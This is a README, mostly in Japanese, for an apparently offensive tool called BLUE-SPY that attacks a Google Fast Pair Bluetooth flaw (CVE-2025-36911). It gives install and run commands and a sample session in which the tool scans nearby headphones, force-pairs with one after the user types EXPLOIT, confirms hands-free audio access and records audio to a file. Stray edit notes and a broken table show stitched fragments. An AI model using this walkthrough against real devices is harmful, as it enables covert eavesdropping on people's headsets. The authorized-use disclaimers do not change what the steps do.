
BLUE-SPY (Bluetooth Low Energy Universal Exploit - Security Penetration Testing) is a professional security assessment tool for analyzing CVE-2025-36911 vulnerabilities in Google's Fast Pair protocol implementation.
⚠️ 本ソフトウェアは、認可されたセキュリティ研究および倫理的なテストのみを目的としています。⚠️
このツールを、あなたが所有していない、または明示的な書面による許可を得ていないデバイスに対して不正に使用することは 違法 であり、以下の結果を招く可能性があります。
本ツールを使用することにより、あなたは自身の行動に対して全責任を負うことを認識し、同意するものとします。
BLUE-SPY(Bluetooth Low Energy Universal Exploit - Security Penetration Testing)は、GoogleのFast Pairプロトコル実装におけるCVE-2025-36911の脆弱性を分析するためのプロフェッショナルなセキュリティ評価ツールです。本ツールは以下を提供します。
git clone https://github.com/Athexhacker/BLUE-SPY.git
cd BLUE-SPY
sudo apt-get update
sudo apt-get install -y \
python3-pip \
bluetooth \
bluez \
bluez-tools \
libbluetooth-dev \
libglib2.0-dev \
pulseaudio \
pulseaudio-module-bluetooth \
sox \
pavucontrol
sudo apt-get install -y python3-dev
# オプション A: グローバルインストール(内容を理解している場合のみ)
pip3 install bleak dbus-python cryptography --break-system-packages
# オプション B: 推奨 - 仮想環境を使用
python3 -m venv BLUE-SPY-env
source BLUE-SPY-env/bin/activate
pip install bleak dbus-python cryptography
# 追加のオーディオ依存関係をインストール
pip install pyaudio wave
# Bluetooth アダプタのステータスを確認
hciconfig -a
# 既存の Bluetooth サービスを停止
sudo systemctl stop bluetooth
# Bluetooth サービスを有効化して再起動
sudo systemctl enable bluetooth
sudo systemctl start bluetooth
# Bluetooth のステータスを確認
sudo systemctl status bluetooth
# アダプタを検出可能かつペアリング可能にする
sudo hciconfig hci0 piscan
# 必要に応じて Bluetooth スタックをリセット
sudo hciconfig hci0 reset
# Bluetooth 機能をテスト
bluetoothctl list
# Python のインポートを確認
python3 -c "from bleak import BleakScanner; print('Bleak OK')"
# ツールを実行
sudo python3 BLUE-SPY.py
# 1. リポジトリをクローンしてディレクトリに移動
git clone https://github.com/Athexhacker/BLUE-SPY.git
cd BLUE-SPY
# 2. 依存関係をインストール(上記参照)
sudo apt-get install -y bluetooth bluez python3-pip
pip3 install bleak cryptography
# 3. ルート権限で実行
sudo python3 BLUE-SPY.py
# 4. プロンプトが表示されたら責任を承諾
入力: I ACCEPT RESPONSIBILITY
# 5. スキャンを開始
オプション選択: 1(クイックスキャン)
# 常にルート権限で実行(Bluetooth に必要)
sudo python3 BLUE-SPY.py
========================================================================
BLUE-SPY - Fast Pair エクスプロイトエンジン v2.0
CVE-2025-36911 研究・分析ツール
========================================================================
プロフェッショナル Bluetooth セキュリティ評価
許可された使用者のみ
========================================================================
メインメニュー:
[1] クイックデバイススキャン(10秒)
[2] 継続的ネットワークスキャン(60秒以上)
[3] 特定デバイスをターゲット
[4] 高度なエクスプロイト
[5] 前回の結果を表示
[0] 終了
Google の Fast Pair プロトコルを使用するデバイスをスキャンします。期間のオプション:
出力: すべての Fast Pair デバイスと脆弱性評価(CRITICAL/HIGH/MEDIUM/LOW)を一覧表示
リアルタイムですべての Bluetooth デバイスを表示し、Fast Pair デバイスには脆弱性評価を強調表示します。以下を表示:
MAC アドレスで特定のデバイスを指定して詳細分析を行います。以下を含む:
保存されたすべてのスキャン結果、エクスプロイト試行、オーディオキャプチャを参照します。
# 1. ツールを起動
sudo python3 BLUE-SPY.py
# 2. 責任を承諾
入力: I ACCEPT RESPONSIBILITY
# 3. クイックスキャンから開始
オプション選択: 1
スキャンタイプ選択: 1(10秒スキャン)
# 出力:
Found 3 Fast Pair device(s):
1. [CRITICAL] Sony WH-1000XM4
Address: 11:22:33:44:55:66
Model: abcd1234, RSSI: -45dBm
Status: CRITICAL - Highly Vulnerable
2. [MEDIUM] Galaxy Buds Pro
Address: AA:BB:CC:DD:EE:FF
Model: efgh5678, RSSI: -62dBm
Status: MEDIUM - Potentially Vulnerable
# 4. テストのために特定デバイスをターゲット
オプション選択: 5
デバイス番号選択: 1
'EXPLOIT' と入力して続行: EXPLOIT
# 5. 結果を確認
Exploit result: PAIRING SUCCESSFUL
[SUCCESS] Device may be compromised.
# 6. HFP 接続をテスト
HFP 接続をテストしますか? (y/n): y
[CRITICAL] HFP AUDIO ACCESS CONFIRMED!
# 7. オーディオキャプチャを試行(認可されたテストのみ)
オーディオキャプチャを試行しますか? (y/n): y
[SUCCESS] Audio captured successfully!
File: blue_spy_results/audio/capture_112233445566_20250120_093022.wav
BLUE-SPY はすべての結果を整理されたディレクトリに自動保存します。
blue_spy_results/
├── scans/
│ ├── scan_20250120_093022.json
│ ├── all_devices_20250120_093022.json
│ └── target_112233445566_20250120_094155.json
├── exploits/
│ ├── exploit_112233445566_20250120_094155.json
│ └── batch_20250120_095233.json
└── audio/
└── capture_112233445566_20250120_094230.wav
{
"timestamp": "2026-01-20T09:30:22.123456",
"device_count": 3,
"devices": [
{
"address": "11:22:33:44:55:66",
"name": "Sony WH-1000XM4",
"rssi": -45,
"model_id": "abcd1234",
"flags": 0,
"tx_power": 4,
"vulnerability_status": "CRITICAL - Highly Vulnerable",
"vulnerability_score": 75,
"vulnerability_reasons": [
"Silent pairing possible",
"No passkey required"
]
}
]
}
# 問題: Bluetooth アダプタが見つからない
# 解決策: アダプタを確認してリセット
hciconfig -a
sudo hciconfig hci0 reset
# 問題: 権限が拒否された
# 解決策: 必ず sudo で実行
sudo python3 BLUE-SPY.py
# 問題: デバイスが見つからない
# 解決策: アダプタが検出可能であることを確認
sudo hciconfig hci0 piscan
bluetoothctl
scan on
# 問題: 接続失敗
# 解決策: Bluetooth スタックをリセット
sudo systemctl restart bluetooth
sudo hciconfig hci0 reset
# 問題: bleak インポートエラー
pip3 install --upgrade bleak
# 問題: cryptography エラー
pip3 install --upgrade cryptography
# 問題: dbus-python の問題
sudo apt-get install python3-dbus
# Bluetooth が動作しているか確認
bluetoothctl
# bluetoothctl 内:
list # 利用可能なアダプタを表示
show # アダプタの詳細を表示
scan on # スキャンを開始
# デバイスが表示されるのを待つ
scan off # スキャンを停止
devices # 発見されたデバイスを一覧表示
exit
このツールを使用して脆弱性を発見した場合:
本ソフトウェアは教育目的および認可されたセキュリティテスト目的でのみ提供されます。著者および貢献者は:
本ソフトウェアを使用することにより、あなたは以下に同意するものとします:
text
主な変更点:
whisper.git から blue-spy.git に変更whisper_results から blue_spy_results に変更| 評価 |
|---|
| スコア |
|---|
| 説明 |
|---|
| CRITICAL | 60~100 | 非常に脆弱 - サイレントペアリングが可能 |
| HIGH | 40~59 | 脆弱である可能性が高い - セキュリティフラグが欠如 |
| MEDIUM | 20~39 | 脆弱である可能性あり - 調査が必要 |
| LOW | 0~19 | パッチが適用されている可能性あり - 安全と思われる |